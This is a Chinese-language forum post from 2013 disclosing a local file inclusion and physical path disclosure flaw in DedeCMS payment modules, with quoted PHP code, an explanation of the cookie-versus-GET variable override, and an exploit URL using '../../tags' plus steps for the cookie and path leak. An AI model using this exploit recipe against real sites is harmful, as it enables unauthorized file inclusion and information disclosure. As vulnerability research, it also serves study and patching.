找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1927|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
, A" E+ b6 Z9 U! W2 T
; {9 K; n+ q% P+ V( x! x出现漏洞的两个文件为:
9 K8 T5 i; K5 n1 c" |, D2 L6 KInclude/payment/alipay.php1 A" S/ U8 p4 x, s) {# k
Include/payment/yeepay.php
2 R, Y6 j" N: [2 O3 q  S- \漏洞均出现在respond方法里,估计这两个文件是临时工写的。; k6 j% `: Z, a: H

4 C, Y! U. b$ F2 f/ C4 a; A# [Include/payment/alipay.php
  c1 d8 t! m( K& J5 O' h5 }/ S# D5 H; ~% _) F9 a
......( D5 x# J; H( b3 F2 u1 L3 ~
   function respond()
& M2 v+ u- ?% n9 g0 r    {  U6 J* g6 |% y- V
        if (!empty($_POST))
" M! W9 z- z/ W1 b# [! C        {
8 h9 `; K( V% T: Y! v/ x: n# J            foreach($_POST as $key => $data)
7 n' E7 M6 l' l" D: }: ?            {
4 ^  S$ O8 n% G- m% A5 U, K; F/ H5 W( Q" A                $_GET[$key] = $data;% D( B  p) I  r- R$ r
            }* X) b7 i" U' w( F
        }9 L% I: Y: A) p4 C& j) P
        /* 引入配置文件 */' E7 C0 O1 W5 [" [! G8 G1 q8 Q' C
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';$ U, \. R* F$ f) j& t+ J9 A7 B
...... + v( _7 I+ |1 l& {: U  t8 J( g% e; Z

3 F* N* F6 x) R
) n( i) r- O* `大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
! w9 W# N' g- V3 K$ Q
3 S% `& X- u: H) x' yInclude/payment/yeepay.php
2 g5 R3 J: U) c! }
7 U1 r7 q6 Y2 t' A+ y. L
: \' N6 b: y* m6 w' y0 B: O+ a# H: F8 B( D( E8 L/ c
......
5 A% U, S3 M2 U2 v; L' X    function respond()
5 M& T- @6 G$ B* A& n    {% ^  g0 I- m* W& p
7 u' a5 k- u6 E+ J7 _8 |
        /* 引入配置文件 */
' l7 ^( |6 `! J6 @        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';. t2 \" T: t+ n& T! b: M
- B% \8 d* K4 l3 d* E* }5 |2 s; Z
        $p1_MerId = trim($payment['yp_account']);
+ l; ?& u4 c, x7 c2 C2 _        $merchantKey = trim($payment['yp_key']);
- l0 @5 q8 T: \...... 5 h+ s0 \& L, l* U& F1 d  d

: G5 b& i$ Y' `% ]3 g4 a' t
# ]/ G  e% V6 n4 j + }3 v) R8 c( }8 Y2 g
$ N  e3 v, W& @5 x
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。3 N2 X6 D9 `& w! u9 V' a+ [/ _

' G2 q2 b7 {* z$ D' L5 E( J& j这两个方法在plus/carbuyaction.php文件调用。
/ P% p/ X0 U) Q& A/ }# Z( V) I) m' l0 k
plus/carbuyaction.php
& p4 s9 f/ ?$ x0 j( @! G
" Z- J  i# H& L) U# \......' b5 C" B8 f' o: r  l- C
} else if ($dopost == 'return') {! d* o7 ?, N0 g+ o9 _
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');1 Y- P7 ~1 v) l+ ?( G" Z: ~1 B- u2 U
    if (in_array($code, $write_list))& J3 S! c2 c# [- x3 j" J7 L
    {7 h& z) g& }+ a' Z" L
        require_once DEDEINC.'/payment/'.$code.'.php';) g, M0 j1 r/ r1 p$ c
        $pay = new $code;  s6 w2 v- b8 L8 d
        $msg=$pay->respond();: R) k6 B0 M* M! f0 j; g
        ShowMsg($msg, "javascript:;", 0, 3000);
8 T" w9 Y' E/ t: W        exit();  
9 r2 S. Z, Q2 s  U4 B7 K% z$ G    } else {# k9 x# Z0 B3 ^6 \
        exit('Error:File Type Can\'t Recognized!');
  S0 F( ^& L) }2 N    }7 b# e6 I+ `. G) x
}/ o7 K: ~% E: `: s. E* L
...... : }6 {. J: n( R$ \$ D# _
0 q7 u2 _* s, V) h: ~7 s2 t

; v( \$ x+ l8 j/ f9 `9 M9 X # U5 G; T9 s; o/ ^: \8 K' r

1 G3 A9 B1 ^) `5 |) W 8 p! A' j3 Q% q' [! `2 U+ t

% k; \4 G' ?2 [* d% `: E" V大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
& s6 T3 G% d7 ~; r$ s所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
9 X4 y* v) X4 l) m+ W% [1 r9 y5 |4 V" R9 ]
回到include/common.inc.php来看看他的机制。6 a: @) v: C) V  A' R/ y( }; v" Z

+ R) I" }! Q4 ]# ]8 `% x* i8 N6 v
( e  O9 M2 i% k) R5 O) q+ j. b( a1 ]" N7 a
......5 T/ E. x6 A" z% X7 Y) [# K
foreach(Array('_GET','_POST','_COOKIE') as $_request), J* j! K; N. s6 S! @7 T, M; S
{
$ i8 H) F0 x$ Q- B+ G        foreach($$_request as $_k => $_v)
) W( ^" i; o2 _$ ?5 I        {
  Y2 L$ m3 v. `& x1 E                if($_k == 'nvarname') ${$_k} = $_v;
7 i' ^7 G% |( B                else ${$_k} = _RunMagicQuotes($_v);
6 @5 o# l$ U+ L# f! g        }
4 F9 D  T" |/ X) K, j2 J& @% ~}
9 W, x! ?/ T2 o( d4 Y...... ' E* z1 G( N; e0 |6 x" A
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
: [8 O7 Q7 a- V9 {由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表